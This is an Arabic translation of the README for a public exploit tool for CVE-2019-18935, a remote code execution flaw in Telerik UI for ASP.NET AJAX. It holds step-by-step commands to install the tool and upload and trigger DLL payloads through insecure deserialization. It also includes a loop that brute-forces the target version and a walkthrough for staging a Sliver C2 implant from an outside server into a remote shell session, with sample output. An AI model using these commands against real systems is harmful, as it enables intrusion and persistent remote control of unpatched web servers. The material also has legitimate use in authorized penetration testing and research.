
استغلال RCE لثغرة إلغاء تسلسل JSON في .NET ضمن Telerik UI لـ ASP.NET AJAX.
برنامج استغلال (Proof-of-Concept) لثغرة إلغاء تسلسل JSON في .NET ضمن Telerik UI for ASP.NET AJAX تتيح تنفيذ التعليمات البرمجية عن بُعد.
Telerik UI for ASP.NET AJAX هي مجموعة مكونات واجهة مستخدم مستخدمة على نطاق واسع لتطبيقات الويب. وهي تقوم بإلغاء تسلسل كائنات JSON بشكل غير آمن مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية عن بُعد على المضيف الأساسي للبرنامج. لمزيد من المعلومات، انظر:
ستحتاج إلى تثبيت Visual Studio و.NET Framework SDK لتجميع حمولات DLL لتجميعات .NET ذات الوضع المختلط باستخدام build-dll.bat.
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
يستخدم هذا الاستغلال منطق التشفير من RAU_crypto. تعتمد فئة RAUCipher داخل RAU_crypto.py على PyCryptodome، وهو بديل مباشر لوحدة PyCrypto المهجورة. تسبب PyCryptodome وPyCrypto مشاكل عند تثبيتهما في نفس البيئة، لذا فإن أفضل طريقة لتلبية هذا الاعتماد هي تثبيت الوحدة داخل بيئة افتراضية، كما هو موضح أعلاه.
وجّه السطر 17 من build-dll.bat إلى مسار تثبيت Visual Studio لديك.
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
[-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
[-f FOLDER] -u URL
Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.
optional arguments:
-h, --help show this help message and exit
-t just upload a file
-d just deserialize
-r FILENAME_REMOTE remote payload name, for optional use with -d
-s SMB_SERVER remote SMB server, for optional use with -d
-v UI_VERSION software version
-n NET_VERSION .NET version
-p PAYLOAD mixed mode assembly DLL
-f FOLDER destination folder on target
-u URL https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau
تتطلب بعض الحمولات (مثل reverse-shell.c وsliver-stager.c) ضبط حقلي HOST وPORT ليشيرا إلى خادم C2 الخاص بك—تأكد من القيام بذلك!
في بيئة Windows مع تثبيت Visual Studio، استخدم build-dll.bat لإنشاء مكتبات DLL لتجميعات الوضع المختلط 32- و64-بت لاستخدامها كحمولة أثناء إلغاء التسلسل. يمكنك اختيارياً تحديد بنية وحدة المعالجة المركزية الهدف كوسيطة سطر أوامر ثانية (مثل x86).
build-dll.bat sleep.c
مرّر ملف DLL الذي تم إنشاؤه أعلاه إلى CVE-2019-18935.py، والذي سيرفع ملف DLL إلى دليل على الخادم الهدف (شريطة أن يكون لخادم الويب أذونات كتابة في ذلك الدليل) ثم يحمّل ملف DLL في التطبيق عبر استغلال إلغاء التسلسل غير الآمن.
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name: sleep-2019121205271355-x86.dll
[*] Destination folder: C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264,
'ContentType': 'application/octet-stream',
'DateJson': '1970-01-01T00:00:00.000Z',
'FileName': '1576142987.918625.dll',
'Index': 0},
'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
'Telerik.Web.UI, Version=<VERSION>, '
'Culture=neutral, '
'PublicKeyToken=<TOKEN>',
'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...
[*] Response time: 13.01 seconds
في المثال أعلاه، استغرق التطبيق 10 ثوانٍ على الأقل للاستجابة، مما يشير إلى أن حمولة DLL نجحت في استدعاء Sleep(10000).
كما هو موضح في محاضرة DerpCon .NET Roulette (39:46)، يمكننا تخمين إصدار Telerik UI بالقوة الغاشمة عن طريق تحديد الإصدار الرئيسي فقط لتجميعة Telerik.Web.UI (أي الجزء 2017 من سلسلة الإصدار الكاملة 2017.2.503.40) عند رفع ملف. تقلل هذه التقنية بشكل كبير من مساحة البحث مقارنة بتخمين كل إصدار محدد من هذا البرنامج بالقوة الغاشمة — وكفائدة إضافية، يمكنها حتى اكتشاف إصدارات غير مدرجة صراحةً في سجل الإصدارات لهذا البرنامج. تعرّف على المزيد حول إصدارات تجميعات .NET على MSDN.
$ for YEAR in $(seq 2013 2018); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
echo
done
2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:
تستقبل حمولة المرحلة sliver-stager.c المخصصة لـ Sliver وتنفذ شيل كود Sliver (المرحلة) من خادم Sliver (خادم المراحل)، وفقاً لبروتوكول المراحل في Metasploit. لمزيد من التفاصيل حول كيفية عمل ذلك، اقرأ الترويسة في مصدر الحمولة.
ابدأ تشغيل خادم Sliver. مزيد من المعلومات حول إعداد الخادم هنا.
MINGW_PATH='/usr/bin' # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server
افتح نقطة نهاية C2 (نستخدم مستمع mTLS هنا، لكن يمكنك أيضاً استخدام HTTP أو DNS) على خادم Sliver، وأنشئ ملف تعريف زرع (implant) وأنشئ مستمع مراحل مرتبطاً بهذا الملف التعريفي. مزيد من المعلومات حول الحمولات المرحلية هنا. لاحظ أننا لا ننشئ مرحلة Sliver باستخدام generate stager كما توثق Sliver؛ بل نستخدم sliver-stager.c المخصص لدينا.
⚠️ تحذير: إرسال مرحلة ببنية وحدة معالجة مركزية خاطئة سيؤدي إلى تعطل العملية الهدف! على سبيل المثال، إذا كان الهدف يعمل بإصدار 32-بت من Telerik UI وأرسل خادم المراحل مرحلة 64-بت إلى مرحلة 32-بت، فستتعطل عملية خادم الويب. في المثال التالي، ننشئ شيل كود 32-بت — لكن يجب مطابقته مع بنية وحدة المعالجة المركزية لهدفك باستخدام علامة --arch في أمر new-profile.
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1
sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32
sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started
عيّن المضيف والمنفذ في مصدر مرحلة Sliver ليشيرا إلى خادم Sliver (معروض مثال لخادم أدناه).
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c
قم بتجميع حمولة مرحلة Sliver، وارفع الحمولة إلى الهدف وحمّلها في التطبيق (كل ذلك وفقاً لأقسام الاستخدام السابقة في هذا README).
> .\build-dll.bat sliver-stager.c x86
$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll
إذا سارت الأمور على ما يرام (هل قمت باستكشاف الأخطاء لهذا الهدف؟)، سترى جلسة تم إنشاؤها في نافذة خادم Sliver يمكنك استخدامها للتفاعل مع الهدف.
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC
sliver > use 1
[*] Active session AFRAID_COMPUTER (1)
sliver (AFRAID_COMPUTER) > help
Commands:
=========
clear clear the screen
exit exit the shell
help use 'help [command]' for command help
...
whoami Get session user execution context
sliver (AFRAID_COMPUTER) > whoami
DESKTOP-D19S4Q2\tester
AssemblyInstaller في .NET تحميل عدة تجميعات .NET بنفس اسم التجميعة (يختلف عن اسم الملف). ستحتاج إلى تجميع ورفع واحدة جديدة في كل مرة تريد فيها أن ينام الهدف أو يعاود الاتصال، إلخ.استخدام هذه الأداة لمهاجمة أهداف دون موافقة مسبقة متبادلة غير قانوني. تقع على عاتق المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والاتحادية المعمول بها. لا يتحمل المطورون أي مسؤولية ولا يتحملون المسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
@mwulftange هو من اكتشف هذه الثغرة في البداية. كتب @bao7uo كل منطق كسر تشفير RadAsyncUpload، مما أتاح التلاعب بكائن إعداد رفع الملف في rauPostData وبالتالي استغلال إلغاء التسلسل غير الآمن لهذا الكائن. كتب @lesnuages التكرار الأول لحمولة مرحلة Sliver.
هذا المشروع مرخّص بموجب رخصة Apache.